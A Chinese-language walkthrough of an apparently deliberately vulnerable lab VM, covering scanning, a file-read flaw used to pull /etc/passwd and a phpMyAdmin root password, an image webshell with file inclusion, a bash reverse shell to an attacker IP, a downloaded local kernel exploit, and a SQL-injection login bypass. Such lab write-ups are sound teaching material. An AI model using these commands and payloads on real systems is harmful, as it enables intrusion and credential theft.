环境下载
下载链接
环境搭建
直接用 vmware 打开,设为 NAT 模式。
信息收集
nmap 扫描
主机扫描:
nmap -sP 192.168.200.0/24
端口扫描:
nmap -sV 192.168.200.129
开了一个 80 端口 apache 服务,和 ssh 服务,后面可以
目录扫描
扫个目录,发现很多奇怪的目录。
排查信息
add 是一个可以上传文件的地方,不过传到哪就不知道了。
/in 是 phpinfo
/phpmy 是 phpmyadmin
/test 可以读取文件,那么我们把重要的几个先读一下呗。
/etc/passwd,有 root 权限,和 ica 用户。
既然有 phpmyadmin 那么就读一下它的配置目录 /var/www/phpmy/config.inc.php
发现一串 root 密码,ssh 尝试登录 root 成功。。。。
渗透
00x1:读配置,ssh连接
通过 test 目录的文件读取 phpmyadmin 的配置信息,获得 root 密码,又因为目标靶机开了 22 端口,所以我们可以直接 ssh 登录。
00x2:文件包含+图片马,提权
刚才我们才读了几个配置文件,还没有读取 php 文件。
c.php 中又数据库密码,登录 phpmyadmin
发现网站用户的密码。
登录后,添加用户页面是 penal.php,通过 test 读取它的源码。
penal.php 最主要的就是俩个功能,一个文件包含,还有一个就是文件上传,且上传的目录也告诉我们了,/uploaded_images
上传一个图片马。
然后可以用 panel.php 来包含它。
反弹 shell
echo "bash -i >& /dev/tcp/192.168.200.128/9999 0>&1" | bash
最好使用 url 编码一下,不知道为什么 直接 bash -i >& /dev/tcp/192.168.200.128/9999 0>&1
成功不了。
搜索一下有没有相关的内核漏洞,或者系统漏洞。
搜索漏洞:
searchsploit ubuntu 12.04
查看目标靶机哪个文件夹可写,uploaded_images 可写。
在攻击机上把 37292.c 复制到 /var/www/html 目录下
sudo cp 37292.c /var/www/html
最后在靶机上依次执行如下命令,当然这边用 wget 下载,我们攻击机开个 apache 服务就行了,本来可以在攻击机上直接编译好,然后直接传 exp,但是kail 上编译的时候一直报错,就只能到靶机上编译了。(好吧只要升级一下 gcc 就行了 - _ -)
cd /var/www/uploaded_images
wget http://192.168.200.128/37292.c
chmod 777 37292.c
gcc 37292.c -o exp
./exp
00x3
开始页面的 sql 注入,可以用一个 \
符号,绕过引号闭合,令 username 为 or 1=1 永真就行了。
select * from auth where password='123' and username='123'
select * from auth where password='123\' and username=' or 1=1 – '
其他操作都一样。